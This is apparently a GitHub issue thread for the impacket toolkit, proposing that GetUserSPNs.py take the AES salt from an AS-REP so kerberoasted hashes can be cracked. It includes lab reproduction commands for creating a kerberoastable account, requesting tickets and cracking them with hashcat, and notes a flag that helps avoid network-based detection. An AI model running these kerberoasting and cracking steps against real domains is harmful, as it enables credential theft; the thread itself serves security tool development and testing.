fortra / impacket

Impacket is a collection of Python classes for working with network protocols.
https://www.coresecurity.com
Other
12.98k stars 3.49k forks source link

Get AES Salt from AS_REP #1722

Open niph opened 3 months ago

niph commented 3 months ago

The current implementation of GetUserSPNs.py uses the username as the salt value for AES based tickets. Whilst this works in most cases we ran into quite a few scenarios within different environments where the hashes could not be cracked although the cleartext password was known. According to rfc4120 and our testing the actual salt value used for AES can be obtained from an AS-REQ.

The ETYPE-INFO2 pre-authentication type is sent by the KDC in a KRB-ERROR indicating a requirement for additional pre-authentication. ... It MAY also be sent in an AS-REP to provide information to the client about which key salt to use for the string-to-key to be used by the client to obtain the key for decrypting the encrypted part the AS-REP.

ETYPE-INFO2-ENTRY       ::= SEQUENCE {
        etype           [0] Int32,
        salt            [1] KerberosString OPTIONAL,
        s2kparams       [2] OCTET STRING OPTIONAL
}

We did not further look into under which exact conditions the salt value does not equal the samAccountName but according to our testing it rather common that the salt is either one of the SPNs or the UserPrincipalName configured on the target account.

Thus, this PR changes the functionality to send an additional AS_REQ packet if the etype of the decoded TGS equals aes256_cts_hmac_sha1_96 or aes128_cts_hmac_sha1_96. It then extracts the salt value from the ETYPE_INFO2_ENTRY. Since AES cracking is rather expensive this is the new default behavior. In addition, the -no-preauthsalt argument was implemented to fall back to the original logic before this PR. The command line flag can also be used to dechain the TGS_REQ and AS_REQ to make it harder to detect impacket usage based on network IoCs.

Shout-out to my team member who brought up this issue but is not on social media.

anadrianmanrique commented 1 month ago

@niph can you specify the way on how to configure a target in order to test your PR ? Thanks

cwiph commented 1 month ago

After some testing it seems that the problem is partially related to a direct change of the SamAccountName attribute. In the environments we observed that the salt is wrong, most of the accounts were related to an appliance / software running on Unix.

To reproduce the behavior you can do the following:

  1. Create a kerberoastable account

    $PW = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
    New-ADUser -AccountPassword $PW -SamAccountName the-salt -UserPrincipalName the-salt -Name the-salt -KerberosEncryptionType "AES128,AES256" -ServicePrincipalNames @('host/foo.bar') -Enabled $true
  2. Change the SamAccountName

    Set-ADUser -Identity the-salt -SamAccountName whatever
  3. Kerberoast with the current impacket implementation. The salt will be set to the new SamAccountName whatever

GetUserSPNs.py fortra.local/niph:'NotP@ssw0rd' -request
...
$krb5tgs$18$whatever$FORTRA.LOCAL$*fortra.local/whatever*$2eac33c1eea848
  1. Try to crack the hash with hashcat. This should fail although we have the right password
    echo 'P@ssw0rd' > wordlist
    hashcat -w4 -O -m 19700 whatever.txt wordlist
  2. Repeat step 3 and 4 with the GetUserSPNs.py from this PR
    GetUserSPNs.py fortra.local/niph:'NotP@ssw0rd' -request
    $krb5tgs$18$the-salt$FORTRA.LOCAL$*fortra.local/whatever*$8c15b7c6f500cf.....:P@ssw0rd

I haven't figured out how you have to configure the account so that the hash is set to one of the ServicePrincipalNames of the account. However, testing in various environments showed that the salt does not necessarily have to be the SamAccountName and can be one of the ServicePrincipalNames